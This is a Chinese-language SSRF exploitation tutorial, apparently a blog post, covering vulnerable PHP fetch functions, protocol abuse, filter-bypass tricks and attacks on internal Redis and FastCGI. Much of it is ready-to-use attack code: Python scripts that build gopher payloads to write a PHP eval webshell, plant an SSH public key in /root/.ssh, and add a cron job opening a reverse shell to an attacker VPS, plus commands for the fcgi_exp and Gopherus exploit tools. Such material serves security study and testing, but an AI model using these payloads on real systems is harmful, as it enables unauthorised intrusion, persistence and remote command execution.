ssrf

简介

SSRF (Server-Side Request Forgery:服务器端请求伪造) 是一种有攻击者构造形成并有服务短发起恶意请求的一个安全漏洞。正是因为恶意请求有服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。

SSRF漏洞的形成大多是由于服务短提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

容易出现SSRF的地方有

1、社交分享功能:获取超链接的标题等内容进行显示
2、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3、在线翻译:给网址翻译对应网页的内容
4、图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
5、图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6、云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7、网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8、数据库内置功能:数据库的比如mongodb的copyDatabase函数
9、邮件系统:比如接收邮件服务器地址
10、编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11、未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12、从远程服务器请求资源

SSRF漏洞的危害

1、对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
2、攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。
3、对内网Web应用进行指纹识别,识别企业内部的资产信息。
4、攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
5、利用file协议读取服务器本地文件等。
6、进行跳板攻击等

SSRF漏洞相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
  • readfile():输出一个文件的内容
    - fsockopen():打开一个网络连接或者一个Unix 套接字连接
    -curl_exec():初始化一个新的会话,返回一个cURL句柄,供curlsetopt(),curlexec()和curlclose() 函数使用
  • fopen(): 打开一个文件文件或者 URL。

  • 出上述函数外,PHP原生类SoapClient在触发反序列化时可导致SSRF。

file_get_contents()

测试代码

<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

上述测试代码中,filegetcontents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们构造类似 ssrf.php?url=php.ini 的paylaod即可读取服务器本地的任意文件
2222在这里插入图片描述
也可以远程访问
333333
readfile()函数与file_get_contents()函数相似

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

测试代码

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

构造ssrf.php?url=www.baidu.com 即可成功出发ssrf并返回百度主页:
444444
但是该函数的SSRF无法读取本地文件

curl_exec()

curlinit(url)函数初始化一个新的会话,返回一个cURL句柄,供curlsetopt(),curlexec()和curlclose() 函数使用

测试代码

<?php 
if (isset($_GET['url'])){
  $link = $_GET['url'];
  $curlobj = curl_init(); // 创建新的 cURL 资源
  curl_setopt($curlobj, CURLOPT_POST, 0);
  curl_setopt($curlobj,CURLOPT_URL,$link);
  curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
  $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
  curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
  // $filename = './curled/'.rand().'.txt';
  // file_put_contents($filename, $result); 
  echo $result;
}
?>

构造ssrf.php?url=www.baidu.com即可触发SSRF
55555
也可以使用file协议读取文件
在6666这里插入图片描述

SoapClient

SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。

SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的 __call 方法,那么 __call 便方法可以发送HTTP和HTTPS请求。该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ]

  • 第一个参数是用来指明是否是wsdl模式
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url

<?php
$a = new SoapClient(null,array('uri'=>'aaa', 'location'=>'http://192.168.0.112:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

7777
如上图所示, 成功触发
由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在crlf漏洞,那么我们就可以进行ssrf+crlf,注入或修改一些http请求头,详情请看:Session反序列化利用和SoapClient+crlf组合拳进行SSRF

SSRF漏洞利用的相关协议

SSRF漏洞的利用所涉及的协议有:
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议: 泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活

常见利用方式(file、http/s和dict协议)

SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。

测试代码

<?php 
if (isset($_GET['url'])){
  $link = $_GET['url'];
  $curlobj = curl_init(); // 创建新的 cURL 资源
  curl_setopt($curlobj, CURLOPT_POST, 0);
  curl_setopt($curlobj,CURLOPT_URL,$link);
  curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
  $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
  curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
  // $filename = './curled/'.rand().'.txt';
  // file_put_contents($filename, $result); 
  echo $result;
}
?>

读取内网文件(file协议)

构造一下payload,即可将服务器上的本地文件及网站源码读取出来:
ssrf.php?url=file://D:/1.txt
88888

探测内网主机存活(http/s协议)

一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

域网IP地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
C类:10.0.0.0 - 10.255.255.255

对本地进行测试

ssrf.php?url=http://192.168.0.109
ssrf.php?url=http://192.168.0.112
ssrf.php?url=http://192.168.0.133
.......

如果存在web服务则正常返回,反之空白
999
101010

扫描内网端口(http/s和dict协议)

利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:

ssrf.php?url=dict://127.0.0.1:80 //http
ssrf.php?url=dict://127.0.0.1:6379 //redis

111111在这里插入图片描述
121212在这里插入图片描述
可以借助burp来爆破内网主机上的服务

相关绕过姿势

对于SSRF的限制大致有以下几种:

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  • 限制域名只能为http://www.xxx.com
  • 限制不能访问内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

利用HTTP基本身份认证的方式绕过

如果目标代码限制访问的域名只能为 http://www.xxx.com ,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com
131313

利用302跳转绕过内网IP

1、网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子
当我们访问:http://127.0.0.1.xip.io/ 时,实际上访问的是http://127.0.0.1/index.php 。像这种网址还有http://nip.io,http://sslip.io 。

141414
2、短地址跳转绕过,这里也给出一个网址 https://4m.cn/:
1515
直接使用生成的短连接 https://4m.cn/FjOdQ 就会自动302跳转到 http://127.0.0.1/flag.php 上,这样就可以绕过WAF了

进制的转换绕过内网IP

可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r =($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;if($r < 0) {    $r += 4294967296;}
echo "十进制:";     // 2130706433
echo $r;
echo "八进制:";     // 0177.0.0.1
echo decoct($r);
echo "十六进制:";   // 0x7f.0.0.1
echo dechex($r);
?>

其他各种指向127.0.0.1的地址

http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0.0.0.0/ # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的 file_get_contents() 函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

测试代码:

<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
    die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
httpsssss://
此时 file_get_contents() 函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
ssrf.php?url=httpsssss://../../../../../../1.txt
1616
这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。

利用URL的解析问题

该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parseurl函数的解析差异以及curl和parseurl解析差异来进行绕过。

1、利用readfile和parse_url函数的解析差异绕过指定的端口
代码:

<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
  readfile($url);
} else {
  die('Hacker!');
}
?>

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:
1717
成功读取了11211端口下的1.txt
1818
从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。

这两个函数在解析host的时候也有差异,如下图:
19
readfile()函数获取的是@号后面一部分(evil.com),而parseurl()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parseurl()函数对指定host的限制。

2、利用curl和parse_url的解析差异绕指定的host
原理如下
20
从上图中可以看到curl()函数解析的是第一个@后面的网址,而parseurl()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parseurl()函数对指定host的限制。
代码:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}
?>

上述代码中可以看到 check_inner_ip函数通过 url_parse()函数检测是否为内网IP,如果不是内网 IP ,则通过 curl() 请求 url 并返回结果,我们可以利用curl和parse_url解析的差异不同来绕过这里的限制,让 parse_url() 处理外部网站网址,最后 curl() 请求内网网址。
paylaod如下:
ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/1.txt
21
不过这个方法在Curl较新的版本里被修掉了,所以我们还可以使用另一种方法,即 0.0.0.0。0.0.0.0 这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址,使用如下即可绕过:
ssrf.php?url=http://0.0.0.0/flag.php
但是这只适用于Linux系统上,Windows系统的不行

常见攻击方式

Gopher协议再ssrf中的利用

Gopherus工具:https://github.com/tarunkant/Gopherus
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。

现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面
1、Gopher协议格式
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
# 注意不要忘记后面那个下划线"“,下划线”“后面才开始接TCP数据流,如果不加这个”_",那么服务端收到的消息将不是完整的,该字符可随意写。

  • gopher的默认端口是70

  • 如果发起POST请求,回车换行需要使用 %0d%0a来代替 %0a,如果多个参数,参数之间的&也需要进行URL编码

那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:
抓取或构造HTTP数据包
URL编码、将回车换行符 %0a替换为 %0d%0a
发送符合gopher协议格式的请求

2、利用Gopher协议发送HTTP GET请求
代码:


// echo.php
<?php
echo "Hello ".$_GET["whoami"]."\n"
?>

接下来我们构造payload。一个典型的GET型的HTTP包类似如下:
GET /echo.php?whoami=Bunny HTTP/1.1
host: 192.168.0.109
然后利用以下脚本进行一步生成符合Gopher协议格式的payload:

import urllib.parse
payload =\
"""GET /ssrf.php?whoami=Bunny HTTP/1.1
Host: 192.168.0.109
"""  
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://192.168.0.109:80/'+'_'+new
print(result)

22

注意这几个问题:
问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

然后执行:
curl gopher://192.168.0.109:80/_GET%20/ssrf.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%20192.168.0.109%0D%0A
23
成功用GET方法传参并输出“Hello Bunny”
3、利用Gopher协议发送HTTP POST请求
代码:

<?php
echo "Hello ".$_POST["whoami"]."\n"
?>

接下来我们构造payload。一个典型的POST型的HTTP包类似如下


POST /ssrf.php HTTP/1.1
Host: 192.168.0.109
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度
最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议

import urllib.parse
payload =\
"""POST /ssrf.php HTTP/1.1
Host: 192.168.0.109
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny
"""  
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://192.168.0.109:80/'+'_'+new
print(result)

24
成功用POST方法传参并输出“Hello Bunny”。

攻击内网Redis

Redis是数据库的意思。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

绝对路径写shell

生成的Gopher协议若是通过GET传参,需要对其进行url二次编码
所需redis命令:


flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

python脚本:


import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
   "set 1 {}".format(shell.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload
写入SSH公钥

可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录

所需redis命令:


flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

python脚本:

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
   "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload
创建计划任务反弹shell

注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。
所需redis命令:


set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

// 47.xxx.xxx.72为攻击者vps的IP

python脚本:

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
reverse_ip="47.xxx.xxx.72"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
   "set 1 {}".format(cron.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF

  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload

攻击内网FastCGI

FastCGI指快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,而动态网站需要一个额外的编译解析的过程。以Apache为例,当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会把这个请求进行简单的处理,然后如果使用的是CGI,就会启动CGI程序(对应的就是PHP解释器)。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次,所以FastCGI的主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

使用fcgi_exp工具攻击

下载地址:https://github.com/piaca/fcgi_exp
这个工具主要是用来攻击未授权访问php-fpm的,可用来测试是否可以直接攻击php-fpm,但需要自己将生成的payload进行转换一下。
该工具需要go语言环境,下载后进入目录执行如下命令进行编译:
go build fcgi_exp.go # 编译fcgi_exp.go
编译完成后,我们在攻击机上使用 nc-lvvp2333>fcg_exp.txt 监听2333 端口来接收fcgi_exp生成的payload,另外再开启一个终端使用下面的命令来向2333端口发送payload:
./fcgi_exp system 127.0.0.1 2333 /var/www/html/index.php "id"
2525

生成的fcg_exp.txt文件的内容是接收到的payload,内容如下:
2626
对fcg_exp.txt文件里的payload进行url编码,这里通过如下脚本实现:


# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

若是通过GET传参,需要对其进行url二次编码

使用Gopherus工具攻击

使用Gopherus工具生成攻击FastCGI的payload:

python gopherus.py --exploit fastcgi
/var/www/html/index.php    # 这里输入的是一个已知存在的php文件
id    # 输入一个你要执行的命令

若是通过GET传参,需要对其进行url二次编码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值